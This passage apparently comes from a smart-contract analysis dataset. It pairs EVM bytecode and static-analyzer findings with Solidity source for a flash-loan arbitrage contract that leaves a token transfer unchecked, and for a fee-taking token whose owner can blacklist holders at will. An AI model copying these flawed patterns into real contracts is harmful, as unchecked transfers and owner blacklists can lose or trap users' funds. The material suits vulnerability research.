1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610ecd57600080fd5b610f1f82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461171c90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ff182600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461171c90919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110868260045461171c90919063ffffffff16565b6004819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b600760009054906101000a900460ff1615156110ff57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561115b57600080fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561128057600080fd5b81600760006101000a81548160ff02191690831515021790555080600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561139a5780601f1061136f5761010080835404028352916020019161139a565b820191906000526020600020905b81548152906001019060200180831161137d57829003601f168201915b505050505081565b6113ad338383611735565b5050565b60086020528060005260406000206000915054906101000a900460ff1681565b6000808490506113e185856108f3565b1561154b578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156114db5780820151818401526020810190506114c0565b50505050905090810190601f1680156115085780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561152a57600080fd5b505af115801561153e573d6000803e3d6000fd5b505050506001915061154c565b5b509392505050565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6006602052816000526040600020602052806000526040600020600091509150505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115fc57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f5c486528ec3e3f0ea91181cff8116f02bfa350e03b8b6f12e00765adbb5af85c816000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a15050565b600082821115151561172a57fe5b818303905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff161415151561175b57600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156117a957600080fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461183b82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8d90919063ffffffff16565b11151561184757600080fd5b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156118a057600080fd5b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156118f957600080fd5b61194b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461171c90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119e081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8d90919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000808284019050838110151515611aa157fe5b8091505092915050565b6000806000841415611ac05760009150611adf565b8284029050828482811515611ad157fe5b04141515611adb57fe5b8091505b50929150505600a165627a7a72305820d9ad5e46381ad352c291141557b5e5028cbd6070618644b753a39209de01a1150029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 8,930 |
0x8c597281acb3b6cb51bba3e391ce5edc640e6a43
|
pragma solidity >=0.4.26;
pragma experimental ABIEncoderV2;
interface IKyberNetworkProxy {
function maxGasPrice() external view returns(uint);
function getUserCapInWei(address user) external view returns(uint);
function getUserCapInTokenWei(address user, ERC20 token) external view returns(uint);
function enabled() external view returns(bool);
function info(bytes32 id) external view returns(uint);
function getExpectedRate(ERC20 src, ERC20 dest, uint srcQty) external view returns (uint expectedRate, uint slippageRate);
function tradeWithHint(ERC20 src, uint srcAmount, ERC20 dest, address destAddress, uint maxDestAmount, uint minConversionRate, address walletId, bytes calldata hint) external payable returns(uint);
function swapEtherToToken(ERC20 token, uint minRate) external payable returns (uint);
function swapTokenToEther(ERC20 token, uint tokenQty, uint minRate) external returns (uint);
}
abstract contract IUniswapExchange {
// Address of ERC20 token sold on this exchange
function tokenAddress() virtual external view returns (address token);
// Address of Uniswap Factory
function factoryAddress() virtual external view returns (address factory);
// Provide Liquidity
function addLiquidity(uint256 min_liquidity, uint256 max_tokens, uint256 deadline) virtual external payable returns (uint256);
function removeLiquidity(uint256 amount, uint256 min_eth, uint256 min_tokens, uint256 deadline) virtual external returns (uint256, uint256);
// Get Prices
function getEthToTokenInputPrice(uint256 eth_sold) virtual external view returns (uint256 tokens_bought);
function getEthToTokenOutputPrice(uint256 tokens_bought) virtual external view returns (uint256 eth_sold);
function getTokenToEthInputPrice(uint256 tokens_sold) virtual external view returns (uint256 eth_bought);
function getTokenToEthOutputPrice(uint256 eth_bought) virtual external view returns (uint256 tokens_sold);
// Trade ETH to ERC20
function ethToTokenSwapInput(uint256 min_tokens, uint256 deadline) virtual external payable returns (uint256 tokens_bought);
function ethToTokenTransferInput(uint256 min_tokens, uint256 deadline, address recipient) virtual external payable returns (uint256 tokens_bought);
function ethToTokenSwapOutput(uint256 tokens_bought, uint256 deadline) virtual external payable returns (uint256 eth_sold);
function ethToTokenTransferOutput(uint256 tokens_bought, uint256 deadline, address recipient) virtual external payable returns (uint256 eth_sold);
// Trade ERC20 to ETH
function tokenToEthSwapInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline) virtual external returns (uint256 eth_bought);
function tokenToEthTransferInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline, address recipient) virtual external returns (uint256 eth_bought);
function tokenToEthSwapOutput(uint256 eth_bought, uint256 max_tokens, uint256 deadline) virtual external returns (uint256 tokens_sold);
function tokenToEthTransferOutput(uint256 eth_bought, uint256 max_tokens, uint256 deadline, address recipient) virtual external returns (uint256 tokens_sold);
// Trade ERC20 to ERC20
function tokenToTokenSwapInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address token_addr) virtual external returns (uint256 tokens_bought);
function tokenToTokenTransferInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address token_addr) virtual external returns (uint256 tokens_bought);
function tokenToTokenSwapOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address token_addr) virtual external returns (uint256 tokens_sold);
function tokenToTokenTransferOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address token_addr) virtual external returns (uint256 tokens_sold);
// Trade ERC20 to Custom Pool
function tokenToExchangeSwapInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address exchange_addr) virtual external returns (uint256 tokens_bought);
function tokenToExchangeTransferInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address exchange_addr) virtual external returns (uint256 tokens_bought);
function tokenToExchangeSwapOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address exchange_addr) virtual external returns (uint256 tokens_sold);
function tokenToExchangeTransferOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address exchange_addr) virtual external returns (uint256 tokens_sold);
// ERC20 comaptibility for liquidity tokens
bytes32 public name;
bytes32 public symbol;
uint256 public decimals;
function transfer(address _to, uint256 _value) virtual external returns (bool);
function transferFrom(address _from, address _to, uint256 value) virtual external returns (bool);
function approve(address _spender, uint256 _value) virtual external returns (bool);
function allowance(address _owner, address _spender) virtual external view returns (uint256);
function balanceOf(address _owner) virtual external view returns (uint256);
function totalSupply() virtual external view returns (uint256);
// Never use
function setup(address token_addr) virtual external;
}
interface IWETH {
function deposit() external payable;
function withdraw(uint wad) external;
function totalSupply() external view returns (uint);
function approve(address guy, uint wad) external returns (bool);
function transfer(address dst, uint wad) external returns (bool);
function transferFrom(address src, address dst, uint wad) external returns (bool);
//function() external payable;
}
interface IUniswapFactory {
function createExchange(address token) external returns (address exchange);
function getExchange(address token) external view returns (address exchange);
function getToken(address exchange) external view returns (address token);
function getTokenWithId(uint256 tokenId) external view returns (address token);
function initializeFactory(address template) external;
}
interface ERC20 {
function totalSupply() external view returns (uint supply);
function balanceOf(address _owner) external view returns (uint balance);
function transfer(address _to, uint _value) external returns (bool success);
function transferFrom(address _from, address _to, uint _value) external returns (bool success);
function approve(address _spender, uint _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint remaining);
function decimals() external view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
abstract contract IERC20Token {
function name() public view returns (string memory) {this;}
function symbol() public view returns (string memory) {this;}
function decimals() public view returns (uint8) {this;}
function totalSupply() public view returns (uint256) {this;}
function balanceOf(address _owner) public view returns (uint256) {_owner; this;}
function allowance(address _owner, address _spender) public view returns (uint256) {_owner; _spender; this;}
function transfer(address _to, uint256 _value) virtual public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) virtual public returns (bool success);
function approve(address _spender, uint256 _value) virtual public returns (bool success);
}
/*interface OrFeedInterface {
function getExchangeRate ( string fromSymbol, string toSymbol, string venue, uint256 amount ) external view returns ( uint256 );
function getTokenDecimalCount ( address tokenAddress ) external view returns ( uint256 );
function getTokenAddress ( string symbol ) external view returns ( address );
function getSynthBytes32 ( string symbol ) external view returns ( bytes32 );
function getForexAddress ( string symbol ) external view returns ( address );
function arb(address fundsReturnToAddress, address liquidityProviderContractAddress, string[] tokens, uint256 amount, string[] exchanges) external payable returns (bool);
}*/
interface OrFeedInterface {
function getExchangeRate ( string calldata fromSymbol, string calldata toSymbol, string calldata venue, uint256 amount ) external view returns ( uint256 );
function getTokenDecimalCount ( address tokenAddress ) external view returns ( uint256 );
function getTokenAddress ( string calldata symbol ) external view returns ( address );
function getSynthBytes32 ( string calldata symbol ) external view returns ( bytes32 );
function getForexAddress ( string calldata symbol ) external view returns ( address );
function arb(address fundsReturnToAddress, address liquidityProviderContractAddress, string[]calldata tokens, uint256 amount, string[] calldata exchanges) external payable returns (bool);
//function arb(address fundsReturnToAddress, address liquidityProviderContractAddress, string calldata, tokens, uint256 amount, string[] exchanges) external payable returns (bool);
//function arb(address fundsReturnToAddress, address liquidityProviderContractAddress, string calldata tokens, uint256 amount, string calldata exchanges) external payable returns (bool);
}
interface IContractRegistry {
function addressOf(bytes32 _contractName) external view returns (address);
}
interface IBancorNetwork {
function getReturnByPath(address[] calldata _path, uint256 _amount) external view returns (uint256, uint256);
function convert2(address[] calldata _path, uint256 _amount,
uint256 _minReturn,
address _affiliateAccount,
uint256 _affiliateFee
) external payable returns (uint256);
function claimAndConvert2(
address[] calldata _path,
uint256 _amount,
uint256 _minReturn,
address _affiliateAccount,
uint256 _affiliateFee
) external returns (uint256);
}
interface IBancorNetworkPathFinder {
function generatePath(address _sourceToken, address _targetToken) external view returns (address[] memory);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal view returns(uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal view returns(uint256) {
assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal view returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal view returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract flashIt{
function executeOperation(
address _reserve,
uint256 _amount,
uint256 _fee,
bytes calldata _params) external {
ERC20 theToken = ERC20(_reserve);
//place the arb you would like to perform below
OrFeedInterface orfeed= OrFeedInterface(0x8316B082621CFedAB95bf4a44a1d4B64a6ffc336);
//approve the token you are starting (tokenOrder element 0 below)with (so that the orfeed contract perform its operations below )
theToken.approve(0x8316B082621CFedAB95bf4a44a1d4B64a6ffc336, 10000000000000000000000000000);
//string[] memory tokenOrder = new string[](3);
//string[] memory exchangeOrder = new string[](3);
string[] memory tokenOrder = new string[](2);
string[] memory exchangeOrder = new string[](2);
tokenOrder[0]= "DAI";
//tokenOrder[1]= "WETH";
//tokenOrder[2]= "SAI";
tokenOrder[1]= "ETH";
//exchangeOrder[0]= "KYBER";
//exchangeOrder[1]= "KYBER";
//exchangeOrder[2]= "KYBER";
exchangeOrder[0]= "BANCOR";
exchangeOrder[1]= "KYBER";
orfeed.arb((address(this)), (address(this)), tokenOrder, _amount, exchangeOrder);
//transferFundsBackToPoolInternal(_reserve, _amount.add(_fee));
theToken.transfer(0x3dfd23A6c5E8BbcFc9581d2E864a68feb6a076d3, (_amount+ _fee));
}
}
|
0x608060405234801561001057600080fd5b506004361061002b5760003560e01c8063ee87255814610030575b600080fd5b61004a600480360381019061004591906104be565b61004c565b005b60008590506000738316b082621cfedab95bf4a44a1d4b64a6ffc33690508173ffffffffffffffffffffffffffffffffffffffff1663095ea7b3738316b082621cfedab95bf4a44a1d4b64a6ffc3366b204fce5e3e250261100000006040518363ffffffff1660e01b81526004016100c5929190610665565b602060405180830381600087803b1580156100df57600080fd5b505af11580156100f3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610117919061053e565b506060600267ffffffffffffffff8111801561013257600080fd5b5060405190808252806020026020018201604052801561016657816020015b60608152602001906001900390816101515790505b5090506060600267ffffffffffffffff8111801561018357600080fd5b506040519080825280602002602001820160405280156101b757816020015b60608152602001906001900390816101a25790505b5090506040518060400160405280600381526020017f4441490000000000000000000000000000000000000000000000000000000000815250826000815181106101fd57fe5b60200260200101819052506040518060400160405280600381526020017f45544800000000000000000000000000000000000000000000000000000000008152508260018151811061024b57fe5b60200260200101819052506040518060400160405280600681526020017f42414e434f5200000000000000000000000000000000000000000000000000008152508160008151811061029957fe5b60200260200101819052506040518060400160405280600581526020017f4b59424552000000000000000000000000000000000000000000000000000000815250816001815181106102e757fe5b60200260200101819052508273ffffffffffffffffffffffffffffffffffffffff16636f9085fd3030858c866040518663ffffffff1660e01b81526004016103339594939291906106b7565b602060405180830381600087803b15801561034d57600080fd5b505af1158015610361573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610385919061053e565b508373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb733dfd23a6c5e8bbcfc9581d2e864a68feb6a076d3898b016040518363ffffffff1660e01b81526004016103d792919061068e565b602060405180830381600087803b1580156103f157600080fd5b505af1158015610405573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610429919061053e565b50505050505050505050565b60008135905061044481610841565b92915050565b60008151905061045981610858565b92915050565b60008083601f84011261047157600080fd5b8235905067ffffffffffffffff81111561048a57600080fd5b6020830191508360018202830111156104a257600080fd5b9250929050565b6000813590506104b88161086f565b92915050565b6000806000806000608086880312156104d657600080fd5b60006104e488828901610435565b95505060206104f5888289016104a9565b9450506040610506888289016104a9565b935050606086013567ffffffffffffffff81111561052357600080fd5b61052f8882890161045f565b92509250509295509295909350565b60006020828403121561055057600080fd5b600061055e8482850161044a565b91505092915050565b6000610573838361061d565b905092915050565b610584816107b5565b82525050565b6105938161076d565b82525050565b60006105a482610728565b6105ae818561074b565b9350836020820285016105c085610718565b8060005b858110156105fc57848403895281516105dd8582610567565b94506105e88361073e565b925060208a019950506001810190506105c4565b50829750879550505050505092915050565b610617816107c7565b82525050565b600061062882610733565b610632818561075c565b93506106428185602086016107fd565b61064b81610830565b840191505092915050565b61065f816107ab565b82525050565b600060408201905061067a600083018561057b565b610687602083018461060e565b9392505050565b60006040820190506106a3600083018561057b565b6106b06020830184610656565b9392505050565b600060a0820190506106cc600083018861058a565b6106d9602083018761058a565b81810360408301526106eb8186610599565b90506106fa6060830185610656565b818103608083015261070c8184610599565b90509695505050505050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006107788261078b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006107c0826107d9565b9050919050565b60006107d2826107ab565b9050919050565b60006107e4826107eb565b9050919050565b60006107f68261078b565b9050919050565b60005b8381101561081b578082015181840152602081019050610800565b8381111561082a576000848401525b50505050565b6000601f19601f8301169050919050565b61084a8161076d565b811461085557600080fd5b50565b6108618161077f565b811461086c57600080fd5b50565b610878816107ab565b811461088357600080fd5b5056fea26469706673582212201d8405d891c1a2091d55ae0f01a118126f88301b3aa5e6632a68705f2ce26d0364736f6c63430006060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,931 |
0xc94e40d3836cc090670b7aed8282271d5fc2b73d
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Starbase is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Starbase Texas";
string private constant _symbol = "STARBASE";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 20;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 20;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
